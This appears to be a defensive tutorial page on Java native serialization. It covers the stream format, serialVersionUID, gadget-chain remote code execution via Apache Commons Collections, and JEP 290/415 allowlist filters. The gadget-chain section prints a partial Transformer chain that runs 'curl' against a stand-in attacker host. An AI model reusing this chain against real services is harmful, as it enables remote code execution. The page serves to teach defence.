Skip to main content

Java Native Serialization Stream & RCE Gadget Chains

Serialization converts an in-memory Java object graph into a sequential stream of bytes for network transmission or disk storage. While Java has included native serialization since JDK 1.1, its architecture is plagued by severe security vulnerabilities (Remote Code Execution) and massive garbage collection overhead.


1. Java Native Serialization Wire Format

A native Java serialized stream begins with standardized 4-byte magic stream headers:

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ STREAM_MAGIC β”‚ STREAM_VER β”‚ Object Descriptorβ”‚ Class Hierarchy Data β”‚
β”‚ 0xACED β”‚ 0x0005 β”‚ TC_OBJECT (0x73) β”‚ TC_CLASSDESC (0x72) β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

The serialVersionUID Contract

  • Every Serializable class has a 64-bit hash (serialVersionUID) reflecting its method signatures, fields, and inheritance.
  • If a class does not declare an explicit serialVersionUID, the JVM dynamically synthesizes one at runtime using SHA-1 over its reflection metadata.
  • Production Trap: If a developer adds a private method or changes a field type without declaring an explicit serialVersionUID, deserialization throws java.io.InvalidClassException: local class incompatible, breaking ongoing distributed communication and caching layers.

2. The Deserialization Hazard & Gadget Chains

Native Java deserialization is fundamentally unsafe because ObjectInputStream.readObject() reconstructs an object graph without invoking the class's constructor.

[Attacker Network Payload: 0xACED...]
β”‚
β–Ό
[ObjectInputStream.readObject()]
β”‚
β”œβ”€β”€ Allocates uninitialized object memory directly via Unsafe
β”‚
β”œβ”€β”€ Deserializes fields and instantiates nested classes
β”‚
β–Ό
[Implicit Method Execution: e.g. HashMap.readObject() ──► key.hashCode()]
β”‚
β–Ό
[Gadget Chain Triggers InvokerTransformer ──► Runtime.getRuntime().exec()]

How Gadget Chains Work (e.g. Apache Commons Collections)

  1. An attacker constructs a nested payload using standard libraries present on the application's classpath.
  2. In Java, deserializing a HashMap or BadAttributeValueExpException automatically invokes hashCode() or toString() on its contained keys.
  3. The attacker crafts a chain of transformers (such as ChainedTransformer and InvokerTransformer in Commons Collections) where calling hashCode() triggers reflection that invokes arbitrary system commands:
// Conceptual malicious gadget chain payload
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "curl http://attacker.com/pwned" })
};

3. Defense: JEP 290 & JEP 415 Look-Ahead Deserialization Filters

To neutralize deserialization attacks without breaking legacy code, Java introduced Look-Ahead Deserialization Filters (java.io.ObjectInputFilter):

package com.bank.security;

import java.io.ObjectInputFilter;
import java.io.ObjectInputStream;
import java.io.InputStream;

public class HardenedSerializationEngine {

public static ObjectInputStream createSecuredStream(InputStream rawIn) throws Exception {
ObjectInputStream ois = new ObjectInputStream(rawIn);

// Define strict allowlist filter (JEP 290 / JEP 415)
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
"com.bank.model.*;" + // Allow only trusted domain classes
"java.lang.String;" + // Allow primitives/strings
"java.util.ArrayList;" + // Allow safe collections
"!*;" + // REJECT everything else by default
"maxdepth=5;" + // Prevent nested recursive stack overflow bombs
"maxarray=1000;" + // Prevent billion-element memory DOS bombs
"maxbytes=65536" // Max payload size: 64 KB
);

ois.setObjectInputFilter(filter);
return ois;
}
}
  • Global JVM Guardrail: Enforce system-wide filters via the JVM startup parameter:
    -Djdk.serialFilter="com.bank.model.*;java.lang.*;!*"

4. Principal Architect Review Checklist

  • Native Serialization Ban: Is native Java serialization (Serializable / ObjectInputStream) prohibited for any public network ingress endpoints?
  • Mandatory JEP 290 Filters: If legacy systems require ObjectInputStream, is an explicit allowlist ObjectInputFilter configured before reading the first object?
  • Constructor Bypass Awareness: Do domain classes account for the reality that deserialization bypasses all constructor assertions and validation checks?
  • Explicit serialVersionUID: Does every class implementing Serializable declare a private static final long serialVersionUID?

πŸ“–
Track Page Progress0 / 635 Read
Knowledge Base Completion0%